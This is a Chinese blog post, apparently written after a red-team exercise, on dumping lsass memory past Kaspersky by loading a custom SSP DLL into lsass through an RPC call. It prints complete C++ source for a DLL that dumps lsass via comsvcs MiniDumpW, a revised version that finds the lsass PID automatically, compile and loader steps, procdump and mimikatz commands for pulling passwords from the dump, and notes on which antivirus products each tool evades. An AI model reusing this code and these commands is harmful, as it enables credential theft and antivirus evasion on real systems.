绕过卡巴斯基等杀软抓取 lsass 内存踩坑

正常的 ssp 扩展(dll)可以加载到 lsass 进程中去,比如 kerberos 验证都是通过加载 kerberos.dll (它就是一种 ssp)调用 sspi 来进行验证,所以我们就可以控制加载一个我们自己的 dll 执行恶意代码从而 dump hash,但是杀软肯定会对常规 SSP 扩展加载进行检测,所以看了 xpn 的文章,可以通过 RPC控制 lsass.exe 进而加载 SSP 扩展。

前言

最近与公司大佬打了一波攻防演练,让我抓个密码,dump 内存下来,以为是有卡巴等杀软保护了 lsass 所以抓不到,就尝试复现了一下网上大佬的通过 RPC 调用添加一个 ssp dll 让 lsass 中自己抓自己的内存的骚操作,其中踩坑无数,做一下记录。
参考:
绕过卡巴斯基横向移动

编译

我们可以通过下载 xpn 大佬的代码(注意有一个头文件,两个.c的代码文件),改后缀为 cpp 编译的时候选择 x64 在前面添加如下代码 #pragma comment(lib, "Rpcrt4.lib"),编码多字节,这样就能编译了,得到 ssp.exe。
之后我们需要编写我们的恶意 dll,这里贴一下 Ateam 的源码,直接编译就可

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable,
    BOOL CurrentThread, PULONG Enabled);

int dump() {

    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW = (_MiniDumpW)GetProcAddress(
        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if (MiniDumpW == NULL) {

        return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    wchar_t  ws[100];
    swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full" 

    MiniDumpW(0, 0, ws);
	return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
	case DLL_PROCESS_ATTACH:
		dump();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

修改

但是我使用 Ateam 的代码进行 dump 内存,发现编译了后有时候 dump 不下来,后经过修改找到了一个自动获取 lsass 的 pid 的代码:

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")

typedef HRESULT(WINAPI* _MiniDumpW)(
	DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
	ULONG Privilege, BOOL Enable,
	BOOL CurrentThread, PULONG Enabled);

char* WcharToChar(wchar_t* wc)
{
	char* m_char;
	int len = WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), NULL, 0, NULL, NULL);
	m_char = new char[len + 1];
	WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), m_char, len, NULL, NULL);
	m_char[len] = '\0';
	return m_char;
}

DWORD ID(const char* pName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) {
		return NULL;
	}
	PROCESSENTRY32 pe = { sizeof(pe) };
	for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
		if (strcmp(WcharToChar(pe.szExeFile), pName) == 0) {
			CloseHandle(hSnapshot);
			return pe.th32ProcessID;
		}
	}
	CloseHandle(hSnapshot);
	return 0;
}

int dump() {

	HRESULT             hr;
	_MiniDumpW          MiniDumpW;
	_RtlAdjustPrivilege RtlAdjustPrivilege;
	ULONG               t;

	MiniDumpW = (_MiniDumpW)GetProcAddress(
		LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

	RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
		GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

	if (MiniDumpW == NULL) {

		return 0;
	}
	// try enable debug privilege
	RtlAdjustPrivilege(20, TRUE, FALSE, &t);

	wchar_t  ws[100];
	DWORD pid = ID("lsass.exe");
	swprintf(ws, 100, L"%u %hs", pid, "C:\\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full" 

	MiniDumpW(0, 0, ws);
	return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
	case DLL_PROCESS_ATTACH:
		dump();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

修改配置类型为.dll,使用 unicode 编码字符集,就可以编译

效果

接下来可以看看效果

procdump

procdump是会被卡巴斯基拦截的,拒绝访问
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

但是 360 什么的是没问题的

SSP

但是我们用 RPC 调用注入 dll 是可以成功 dump 下内存。
SSP.exe 绝对路径\dllinject.dll
这里还有个坑,有的系统他可能会提示没有ucrtbased.dllvcruntime140d.dll,这里只需要网上搜一下下载放在c:\windows\system32\目录下就可以了

接下来就是常规操作读内存

mimikatz # sekurlsa::minidump 1.bin
mimikatz # sekurlsa::logonPasswords full

mimikatz

直接被杀了,不需要试了

SharpDump

在查找资料的过程中发现一个号称可以过杀软读内存的 SharpDump ,我们也可以看看能不能过卡巴斯基,和 mimikatz 一样,直接被杀了

但是可以过 360
./Sharpdump

posted @ 2020-12-15 15:27  楼下的小可怜-w0x68y  阅读(3485)  评论(0编辑  收藏  举报